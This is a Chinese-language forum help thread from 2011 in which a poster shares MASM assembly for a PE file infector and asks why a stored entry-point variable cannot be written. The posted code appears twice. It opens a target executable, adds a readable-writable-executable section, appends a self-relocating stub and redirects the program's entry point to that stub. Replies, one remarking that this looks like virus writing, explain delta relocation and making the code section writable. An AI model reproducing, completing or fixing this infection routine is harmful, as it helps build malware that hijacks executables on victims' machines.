首页
社区
课程
招聘
[旧帖] [求助]标号中定义变量是否有作用域的问题??? 0.00雪花
发表于: 2011-6-26 00:29 1323

[旧帖] [求助]标号中定义变量是否有作用域的问题??? 0.00雪花

2011-6-26 00:29
1323
.386
.model flat,stdcall
option casemap:none
include include.asm
;##########
InfectFile     proto     :dword
;#########

.data
        caption db '标题',0
        text db '内容',0

.code

;###############插入代码############################
VStart:
         call     abc
abc:         pop     ebp
         sub     ebp,offset abc
         xor     eax,eax
         add     eax,[ebp+HostEntry]
         jmp     eax
HostEntry     dd     ?
VEnd:
;######################################################

filename     db     "G:\testDir\Test.exe" ;添加目标文件
write         db     0

;################添加节的操作过程###########################
InfectFile     proc     _filename:dword

         local hFile
         local hMapping   
         local pMapping   
         local @dwAddCodeFile
         local @dwAddCodeBase
         local @dwEntry
;#######################打开文件##########################################################
         invoke     CreateFile,_filename,\
         GENERIC_READ+GENERIC_WRITE,\
         FILE_SHARE_READ+FILE_SHARE_WRITE,\
         NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
         .if eax == INVALID_HANDLE_VALUE
             jmp     exit2
         .endif
         
         mov     hFile,eax
         invoke     CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,0
         mov     hMapping,eax
         invoke     MapViewOfFile,hMapping,FILE_MAP_READ+FILE_MAP_WRITE,0,0,0
         mov     pMapping,eax        
;########################找到pe头#########################################################
         mov     esi,eax
         assume     esi:ptr     IMAGE_DOS_HEADER
         cmp     word ptr [esi],IMAGE_DOS_SIGNATURE
         jnz     Exit
         add     esi,[esi].e_lfanew
         assume esi:ptr IMAGE_NT_HEADERS
         cmp     dword ptr [esi],IMAGE_NT_SIGNATURE
         jnz     Exit
         
;#######################添加新节##########################################################
         mov   eax,[esi].OptionalHeader.AddressOfEntryPoint
         add   eax,[esi].OptionalHeader.ImageBase
         
         mov   HostEntry,eax ;保存原程序入口地址
        
         ;判断是否能够有空间插入新节
         movzx   eax,[esi].FileHeader.NumberOfSections         
         mov     ecx,sizeof IMAGE_SECTION_HEADER
         mul     ecx
         add     eax,sizeof IMAGE_NT_HEADERS               
         add     eax,esi
         mov     edi,eax
         add     eax,sizeof IMAGE_SECTION_HEADER
         sub     eax,pMapping                       
         cmp     eax,[esi].OptionalHeader.SizeOfHeaders
         ja      Exit
         ;添加新节,edi为新节
         inc     [esi].FileHeader.NumberOfSections
         mov     ebx,edi
         sub     ebx,28h
         assume edi:ptr IMAGE_SECTION_HEADER ;新节
         assume ebx:ptr IMAGE_SECTION_HEADER ;旧节
         mov     dword ptr[edi],'fh.'   
         ;#########################################################
         ;VirtualSize等于插入代码按SectionAlignment值对齐
         push     offset VEnd-offset VStart
         pop     [edi].Misc.VirtualSize
        
         ;SizeOfRawData=插入代码长度按FileAlignment值对齐
         mov     eax,[edi].Misc.VirtualSize
         mov     ecx,[esi].OptionalHeader.FileAlignment
         div     ecx
         inc     eax
         mul     ecx
         mov     [edi].SizeOfRawData,eax
         ;PointerToRawData
               
         mov     eax,[ebx].PointerToRawData         ;上一节的PointerToRawData               
         add     eax,[ebx].SizeOfRawData                 ;上一节的SizeOfRawData
         mov     [edi].PointerToRawData,eax      ;PointerToRawData=前两个值相加
         mov     [edi].Characteristics,0E0000020h   ;节属性设置为可读可写可执行
         ;AddressOfEntryPoint,使新节可以正确加载并首先执行
         mov    eax,[ebx].Misc.VirtualSize
         mov    ecx,[esi].OptionalHeader.SectionAlignment
         div    ecx
         inc    eax
         mul    ecx
         add    eax,[ebx].VirtualAddress
         mov   [edi].VirtualAddress,eax
         ;############修改入口地址################################################  
         push     [edi].VirtualAddress
         pop    [esi].OptionalHeader.AddressOfEntryPoint
         ;更新SizeOfImage
         mov    eax,[edi].Misc.VirtualSize
         mov    ecx,[esi].OptionalHeader.SectionAlignment
         div    ecx
         inc    eax
         mul    ecx
         add    eax,[esi].OptionalHeader.SizeOfImage
         mov    [esi].OptionalHeader.SizeOfImage,eax                    
         ;写入新节
         invoke     SetFilePointer,hFile,0,0,FILE_END
         invoke     WriteFile,hFile,offset     VStart,[edi].SizeOfRawData,offset   write,0
;########################结束#############################################################
Exit:         invoke     UnmapViewOfFile,pMapping
         invoke     CloseHandle,hMapping
exit2:         invoke     CloseHandle,hFile
         ret
InfectFile     endp
start:

         invoke      InfectFile,offset filename
         invoke    ExitProcess,NULL

end         start

想问下,HostEntry这个值,定义在标号中,下面对HostEntry的mov操作时为什么会报错,
是不是标号的作用域的问题,如果是的话,请解释下,标号中变量的操作范围,

[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
免费 0
支持
分享
最新回复 (13)
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
2
1,hostentry是代码段里的地址,不是栈地址。在[ebp+hostentry]中,明显ebp+hostentry指向无效地址了。(hostentry不是相对ebp的偏移)。
2,在代码段标号里定义变量,这些变量可访问,原则上讲不可写。改变相应页属性后才可写。
2011-6-26 08:00
0
雪    币: 2
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
前面有朋友已经说了啊
2011-6-26 09:25
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
[QUOTE=hackerlzc;973765]1,hostentry是代码段里的地址,不是栈地址。在[ebp+hostentry]中,明显ebp+hostentry指向无效地址了。(hostentry不是相对ebp的偏移)。
2,在代码段标号里定义变量,这些变量可访问,原则上讲不可写。改变相应页属性后才可写。[/QUOTE]
这个基本上算是明白了,但是如果我需要这里需要获得这个原始的入口地址并跳转该如何操作呢???
2011-6-26 09:33
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
5
试下:jmp [hostentry]  或者  lea eax,offset hostentry    jmp [eax]
2011-6-26 10:18
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
[QUOTE=hackerlzc;973796]试下:jmp [hostentry]  或者  lea eax,offset hostentry    jmp [eax][/QUOTE]

如果hostentry是不可写的,那我开始对对hostentry就报错了,jmp [hostentry]
应该是没有意义的吧????
2011-6-26 10:33
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
7
是这样的。看样这是在写病毒,要代码重定位。一般是  call  $+xxxxxxxx     pop eax    则eax  那个call后一条指令的地址了。
2011-6-26 11:19
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
.386
.model flat,stdcall
option casemap:none
include include.asm
;##########
InfectFile     proto     :dword
;#########

.data
        caption db '标题',0
        text db '内容',0

.code

;###############插入代码############################
VStart:
         call     abc
abc:         pop     ebp
         sub     ebp,offset abc
         xor     eax,eax
         ;add     eax,[ebp+HostEntry]
         lea eax,offset hostentry   
         jmp [eax]

HostEntry     dd     ?
VEnd:
;######################################################

filename     db     "G:\testDir\Test.exe" ;添加目标文件
write         db     0

;################添加节的操作过程###########################
InfectFile     proc     _filename:dword

         local hFile
         local hMapping   
         local pMapping   
         local @dwAddCodeFile
         local @dwAddCodeBase
         local @dwEntry
;#######################打开文件##########################################################
         invoke     CreateFile,_filename,\
         GENERIC_READ+GENERIC_WRITE,\
         FILE_SHARE_READ+FILE_SHARE_WRITE,\
         NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
         .if eax == INVALID_HANDLE_VALUE
             jmp     exit2
         .endif
         
         mov     hFile,eax
         invoke     CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,0
         mov     hMapping,eax
         invoke     MapViewOfFile,hMapping,FILE_MAP_READ+FILE_MAP_WRITE,0,0,0
         mov     pMapping,eax        
;########################找到pe头#########################################################
         mov     esi,eax
         assume     esi:ptr     IMAGE_DOS_HEADER
         cmp     word ptr [esi],IMAGE_DOS_SIGNATURE
         jnz     Exit
         add     esi,[esi].e_lfanew
         assume esi:ptr IMAGE_NT_HEADERS
         cmp     dword ptr [esi],IMAGE_NT_SIGNATURE
         jnz     Exit
         
;#######################添加新节##########################################################
         mov   eax,[esi].OptionalHeader.AddressOfEntryPoint
         add   eax,[esi].OptionalHeader.ImageBase
         
         mov   HostEntry,eax ;保存原程序入口地址
        
         ;判断是否能够有空间插入新节
         movzx   eax,[esi].FileHeader.NumberOfSections         
         mov     ecx,sizeof IMAGE_SECTION_HEADER
         mul     ecx
         add     eax,sizeof IMAGE_NT_HEADERS               
         add     eax,esi
         mov     edi,eax
         add     eax,sizeof IMAGE_SECTION_HEADER
         sub     eax,pMapping                       
         cmp     eax,[esi].OptionalHeader.SizeOfHeaders
         ja      Exit
         ;添加新节,edi为新节
         inc     [esi].FileHeader.NumberOfSections
         mov     ebx,edi
         sub     ebx,28h
         assume edi:ptr IMAGE_SECTION_HEADER ;新节
         assume ebx:ptr IMAGE_SECTION_HEADER ;旧节
         mov     dword ptr[edi],'fh.'   
         ;#########################################################
         ;VirtualSize等于插入代码按SectionAlignment值对齐
         push     offset VEnd-offset VStart
         pop     [edi].Misc.VirtualSize
        
         ;SizeOfRawData=插入代码长度按FileAlignment值对齐
         mov     eax,[edi].Misc.VirtualSize
         mov     ecx,[esi].OptionalHeader.FileAlignment
         div     ecx
         inc     eax
         mul     ecx
         mov     [edi].SizeOfRawData,eax
         ;PointerToRawData
               
         mov     eax,[ebx].PointerToRawData         ;上一节的PointerToRawData               
         add     eax,[ebx].SizeOfRawData                 ;上一节的SizeOfRawData
         mov     [edi].PointerToRawData,eax      ;PointerToRawData=前两个值相加
         mov     [edi].Characteristics,0E0000020h   ;节属性设置为可读可写可执行
         ;AddressOfEntryPoint,使新节可以正确加载并首先执行
         mov    eax,[ebx].Misc.VirtualSize
         mov    ecx,[esi].OptionalHeader.SectionAlignment
         div    ecx
         inc    eax
         mul    ecx
         add    eax,[ebx].VirtualAddress
         mov   [edi].VirtualAddress,eax
         ;############修改入口地址################################################  
         push     [edi].VirtualAddress
         pop    [esi].OptionalHeader.AddressOfEntryPoint
         ;更新SizeOfImage
         mov    eax,[edi].Misc.VirtualSize
         mov    ecx,[esi].OptionalHeader.SectionAlignment
         div    ecx
         inc    eax
         mul    ecx
         add    eax,[esi].OptionalHeader.SizeOfImage
         mov    [esi].OptionalHeader.SizeOfImage,eax                    
         ;写入新节
         invoke     SetFilePointer,hFile,0,0,FILE_END
         invoke     WriteFile,hFile,offset     VStart,[edi].SizeOfRawData,offset   write,0
;########################结束#############################################################
Exit:         invoke     UnmapViewOfFile,pMapping
         invoke     CloseHandle,hMapping
exit2:         invoke     CloseHandle,hFile
         ret
InfectFile     endp
start:

         invoke      InfectFile,offset filename
         invoke    ExitProcess,NULL

end         start

是改成这样么?
但是还是无法执行哦。。。。。

还有开始说的那个页不可写,需要在什么地方修改么?
2011-6-26 11:50
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
9
页属性没改,当然不能执行。hostentry根本没有写入入口点地址。
至于修改页属性。可以在代码里用VirtualProtect搞定,也可以在链接的时候把代码节设为可读,可写,可执行属性(  /section:text,erw )
2011-6-26 13:13
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
我使用的事masmplus请问连接器在什么位置修改???
2011-6-26 13:18
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
11
集成工具我没的使用过。我都是用命令行连接的。在link   命令后边加上一项/section:.text,erw就可以实现。具体该怎么做请查阅相关资料吧。
2011-6-26 16:25
0
雪    币: 30
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
试下:jmp [hostentry]
2011-6-26 20:59
0
雪    币: 26
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
问题以解决,是/section:text,erw
开始也是手工link的,后来是用MasmEd这个工具可以添加选项修改

问一句,jmp [hostEntry],为什么这样做?
和我开始的一样吧,只是这里是感染文件中的hostEntry的定位?

VStart:
call abc
abc: pop ebp
sub ebp,offset abc
xor eax,eax
add eax,[ebp+hostEntry]
jmp [hostEntry]  
hostEntry   dd  ?  
VEnd:
这事我修改后的代码,还是不行的。应该还是代码段不可写的原因
需要/section:text,erw
对于hackerlzc说的另一种方法:使用VirtualProtect这个函数
找了下别人的代码,始终报错,好像是地址是无效的,就没有他深入了。

现在使用的还是/section:.text,erw
2011-6-26 21:48
0
雪    币: 1689
活跃值: (379)
能力值: ( LV15,RANK:440 )
在线值:
发帖
回帖
粉丝
14
VirtualProtect应该在向hostentry写入数据之前调用。参数中,地址压栈的时候,用lea指令载入有效地址试试(比如lea eax,offset hostentry    push eax  )

那个jmp [hostentry]就别多想了,没啥用。当时你问怎么跳转到原始入口,就那么写了,呵呵。
2011-6-26 22:28
0
游客
登录 | 注册 方可回帖
返回
//